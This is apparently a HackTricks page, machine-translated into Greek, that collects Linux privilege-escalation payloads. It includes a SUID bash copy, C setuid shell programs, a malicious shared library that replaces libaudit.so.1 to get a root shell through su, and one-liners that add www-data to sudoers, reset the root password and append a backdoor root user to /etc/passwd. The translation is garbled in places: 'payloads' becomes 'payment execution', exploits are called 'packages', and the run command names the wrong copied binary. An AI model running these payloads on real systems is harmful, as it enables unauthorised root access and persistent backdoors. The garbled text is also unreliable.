Payloads to execute

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Εργάζεστε σε μια εταιρεία κυβερνοασφάλειας; Θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks; Ή θέλετε να έχετε πρόσβαση στην τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF; Ελέγξτε τα ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ!
Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
Αποκτήστε το επίσημο PEASS & HackTricks swag
Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε με στο Twitter 🐦@carlospolopm.
Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο αποθετήριο hacktricks και αποθετήριο hacktricks-cloud.

Bash

cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu

Εκτέλεση πληρωμής

Στην παρακάτω λίστα παρουσιάζονται διάφορα πακέτα που μπορούν να χρησιμοποιηθούν για να εκτελέσουν πληρωμές σε ένα σύστημα Linux. Αυτά τα πακέτα εκμεταλλεύονται ευπάθειες στο σύστημα για να αποκτήσουν αυξημένα δικαιώματα.

1. Dirty Cow

Το Dirty Cow είναι ένα εκμεταλλευόμενο πακέτο που εκμεταλλεύεται μια ευπάθεια στον πυρήνα Linux γνωστή ως "Copy-on-Write" (COW). Αυτό το πακέτο μπορεί να χρησιμοποιηθεί για να αλλάξει τα δικαιώματα ενός αρχείου και να εκτελέσει κακόβουλο κώδικα με αυξημένα δικαιώματα.

2. Sudo

Το πακέτο Sudo είναι ένα εργαλείο που επιτρέπει σε χρήστες να εκτελούν εντολές με δικαιώματα υπερχρήστη. Αυτό το πακέτο μπορεί να εκμεταλλευτείται για να εκτελέσει κακόβουλο κώδικα με δικαιώματα υπερχρήστη.

3. Cron

Το Cron είναι ένα πρόγραμμα που επιτρέπει την αυτόματη εκτέλεση εργασιών σε ένα σύστημα Linux. Αυτό το πακέτο μπορεί να εκμεταλλευτείται για να εκτελέσει κακόβουλο κώδικα με δικαιώματα υπερχρήστη.

4. Setuid

Το Setuid είναι ένα χαρακτηριστικό που επιτρέπει σε ένα εκτελέσιμο αρχείο να εκτελείται με τα δικαιώματα του κατόχου του αρχείου. Αυτό το πακέτο μπορεί να εκμεταλλευτείται για να εκτελέσει κακόβουλο κώδικα με δικαιώματα υπερχρήστη.

5. LD_PRELOAD

Το LD_PRELOAD είναι μια μεταβλητή περιβάλλοντος που επιτρέπει την προσάρτηση ενός κατακερματισμένου αρχείου κώδικα σε ένα εκτελέσιμο αρχείο. Αυτό το πακέτο μπορεί να εκμεταλλευτείται για να εκτελέσει κακόβουλο κώδικα με δικαιώματα υπερχρήστη.

//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}

//gcc payload.c -o payload
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main(){
setuid(getuid());
system("/bin/bash");
return 0;
}

// Privesc to user id: 1000
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}

Αντικατάσταση ενός αρχείου για ανέλιξη προνομίων

Συνηθισμένα αρχεία

Προσθήκη χρήστη με κωδικό πρόσβασης στο /etc/passwd
Αλλαγή κωδικού πρόσβασης μέσα στο /etc/shadow
Προσθήκη χρήστη στους sudoers στο /etc/sudoers
Κατάχρηση του Docker μέσω του Docker socket, συνήθως στο /run/docker.sock ή /var/run/docker.sock

Αντικατάσταση μιας βιβλιοθήκης

Ελέγξτε μια βιβλιοθήκη που χρησιμοποιείται από κάποιο δυαδικό αρχείο, σε αυτήν την περίπτωση /bin/su:

ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)

Σε αυτήν την περίπτωση ας προσπαθήσουμε να προσωποποιήσουμε το /lib/x86_64-linux-gnu/libaudit.so.1. Έτσι, ελέγξτε τις συναρτήσεις αυτής της βιβλιοθήκης που χρησιμοποιούνται από το δυαδικό su:

objdump -T /bin/su | grep audit
0000000000000000      DF *UND*  0000000000000000              audit_open
0000000000000000      DF *UND*  0000000000000000              audit_log_user_message
0000000000000000      DF *UND*  0000000000000000              audit_log_acct_message
000000000020e968 g    DO .bss   0000000000000004  Base        audit_fd

Τα σύμβολα audit_open, audit_log_acct_message, audit_log_acct_message και audit_fd πιθανότατα προέρχονται από τη βιβλιοθήκη libaudit.so.1. Καθώς η libaudit.so.1 θα αντικατασταθεί από την κακόβουλη κοινόχρηστη βιβλιοθήκη, αυτά τα σύμβολα πρέπει να υπάρχουν στη νέα κοινόχρηστη βιβλιοθήκη, διαφορετικά το πρόγραμμα δεν θα μπορεί να βρει το σύμβολο και θα τερματίσει.

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c

int audit_open;
int audit_log_acct_message;
int audit_log_user_message;
int audit_fd;

void inject()__attribute__((constructor));

void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

Τώρα, απλά καλώντας /bin/su θα λάβετε ένα κέλυφος ως root.

Σενάρια

Μπορείτε να κάνετε τον root να εκτελέσει κάτι;

www-data στους sudoers

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

To change the root password, you can use the following command:

sudo passwd root

You will be prompted to enter the new password twice. After successfully changing the password, you can log in as root using the new password.

echo "root:hacked" | chpasswd

Προσθήκη νέου χρήστη root στο αρχείο /etc/passwd

To add a new root user to the /etc/passwd file, follow these steps:

Open the /etc/passwd file using a text editor.
Scroll to the end of the file and add a new line.
Enter the username for the new root user. For example, newroot.
Set the password field to an encrypted password or an asterisk (*) to disable password authentication.
Set the user ID (UID) field to 0 to assign root privileges to the user.
Set the group ID (GID) field to 0 to assign the user to the root group.
Enter a description or comment for the user (optional).
Set the home directory field to the desired directory for the new root user.
Set the login shell field to the desired shell for the new root user.
Save the changes and exit the text editor.

After adding the new root user to the /etc/passwd file, you can use the credentials to log in as root and perform administrative tasks.

echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Εργάζεστε σε μια εταιρεία κυβερνοασφάλειας; Θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks; Ή θέλετε να έχετε πρόσβαση στην τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF; Ελέγξτε τα ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ!
Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
Αποκτήστε το επίσημο PEASS & HackTricks swag
Συμμετάσχετε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε με στο Twitter 🐦@carlospolopm.
Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στο αποθετήριο hacktricks και αποθετήριο hacktricks-cloud.

PreviousNode inspector/CEF debug abuse NextRunC Privilege Escalation

Last updated 2 months ago